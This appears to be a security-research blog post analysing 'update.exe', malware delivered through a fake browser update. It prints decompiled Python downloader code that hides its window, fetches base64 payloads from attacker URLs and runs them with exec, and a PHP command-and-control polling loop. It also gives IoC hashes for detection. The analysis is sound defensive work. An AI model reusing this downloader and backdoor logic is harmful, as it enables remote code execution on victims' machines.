Analyzing the Malware "efail"

Published: 2023-04-04
Last Updated: 2023-04-04 13:28:51 UTC
by Johannes Ullrich (Version: 1)
2 comment(s)

Yesterday, I wrote about serving malicious ake "Browser Updates" to some of its users. This morning, finally removed the malicious code from its site. The attacker reacted a bit faster and removed some of the additional malware. But luckily, I was able to retrieve some of the malware last evening before it was removed.

Depending on the browser, you may have received one of two binaries. "update.exe" or "installer.exe." These binaries are quite different. I will focus on "update.exe" for two reasons: It was used for Chrome users, which is the vast majority compared to the other option, Firefox. Secondly, "update.exe" is written in Python, making it much easier to analyze.

BLUF (Bottom Line Up Front)

The attack uses two main executables. The first one, "update.exe," is a simple downloader downloading and executing the second part. The second part is a PHP script communicating with the command and control server. Its main function is to download and execute additional code as instructed to do so. During the installation, basic system information is sent to the attacker, and the backdoor is made persistent via scheduled/on-boot registry entries.

flow diagram summarizing the malware actions.

Decompiling update.exe

To turn Python scripts into stand-alone executables, PyInstaller is usually used. PyInstaller isn't a traditional compiler. Instead, it takes the Python bytecode files (.pyc files) and packs them with all the needed libraries, including the Python run time. Finally, it includes a little stub to make it all run.

Reversing such a binary includes two steps:

1. Extract the files PyInstaller used to create the binary. I used pyinstxtractor to do this:

python3 ../update.exe

2. Decompile the .pyc files. There are about 70 in this case. Most of them are various standard Python libraries. In this case, p.pyc was the "interesting" one.

uncompyle6 p.pyc > 

Let's start by looking at the "main" part of

 1 if __name__ == '__main__':
 2    try:
 3        HWND = win32gui.GetForegroundWindow()
 4        win32gui.SetWindowPos(HWND, None, 9999, 9999, 100, 100, win32con.SWP_NOSENDCHANGING | win32con.SWP_SHOWWINDOW)
 5        base_path = 'C:\\ProgramData\\Browsers'
 6        if not os.path.exists(base_path):
 7            os.mkdir(base_path)
 8        else:
 9            if not os.path.exists(base_path + '\\downloads'):
10                os.mkdir(base_path + '\\downloads')
11            init()
12            if is_admin():
13                priv = 'system'
14                runcode = urllib.request.urlopen('' + priv)
15                runcode = base64.b64decode('utf-8'))
16                exec(runcode)
17                urllib.request.urlopen('')
18            else:
19                priv = 'user'
20            runcode = urllib.request.urlopen('' + priv)
21            runcode = base64.b64decode('utf-8'))
22            exec(runcode)
23            urllib.request.urlopen('')
24    except Exception as e:
25        try:
26            print('got exception: ' + str(e))
27            urllib.request.urlopen('' + base64.urlsafe_b64encode(str(e).encode('utf-8')).decode('utf-8'))
28        finally:
29            e = None
30            del e

Lines 3-5: Move the update.exe window off the screen to hide it.
Lines 6-10: Create a "downloads" directory. This will be used later to download additional code.
Line 11: "init" will download additional code (see below)
Line 12: check if the user is an administrator
Line 13-17: Download the code that will make the backdoor persistent and notify the attacker of the success
Line 18-23: If the user isn't an administrator, the user is asked to re-run the script as an administrator
Line 24-30: Report any errors back to the attacker.


The "init" function is one of the more complex ways I have seen to run a backdoor. The backdoor is implemented in PHP. It is not a "webshell". Instead, it polls a URL on the attacker's system and executes any commands that may be sent. It starts out by loading 4 files:

file1 = down_file('');
file2 = down_file('');
file3 = down_file('');
file4 = down_file('');
extract = file1 + ' x -y -pphpshell -o' + base_path + ' ' + file2;print(extract);os.system(extract)

“file1” appears to be a genuine copy of the compression utility 7zip. 
“file 2” is a compressed file containing essentially a complete copy of PHP 7
“file 3” is a PHP script implementing a command and control channel.
“file 4” is a simple VBS script to run 1.php using the PHP interpreter

The main loop of the PHP script:

    try {
        $res = curl_https($api_url.'query',$data);
        $res = json_decode($res,true);
        if($res['istask'] > 0)

    }catch(Exception $e){
        logs('error ......');


The code connects to every 10 seconds and executes the command returned. Any command output is sent back again to the same URL. There are three tasks: (1) execute code, (2) download a file (3) schedule execution, which I don't think is completely implemented.


Here are some of the IoCs you may use to detect this activity:

SHA256 Hashes (all files can be downloaded from Virustotal and Malwarebazaar)

d4f545691c8441b5bcb86535b1d0fd16dc06786eb4080087588cd4d0f388d5ca  installer.exe
882d95bdbca75ab9d13486e477ab76b3978e14d6fca30c11ec368f7e5fa1d0cb  update.exe
8ac52ca0792baf2a4075fe7c68e5cbe2262da604e2fcdfb9b39656430925c168  php.7z (not malicious)
3771846f010fcad26d593ea3771bee7cf3dec4d7604a8c719cef500fbf491820  1.php
3033913c51e0bf9a13c7ad2d5a481e174a1a3f19041c339e6ac900824793a1c6  php.vbs

Domains Used: - main command and control domain

URLs for various code snippets:

Files on the victim's system:


Who did it?

I have no idea. Some of the attack infrastructure is hosted with Alibaba in China, and some Chinese comments are in the code. So probably someone Chinese. The code is very cobbled together, and the clumsy inclusion of PHP points to a not-so-advanced, but maybe still persistent, threat actor.

Johannes B. Ullrich, Ph.D. , Dean of Research,

2 comment(s)
ISC Stormcast For Tuesday, April 4th, 2023


Diary Archives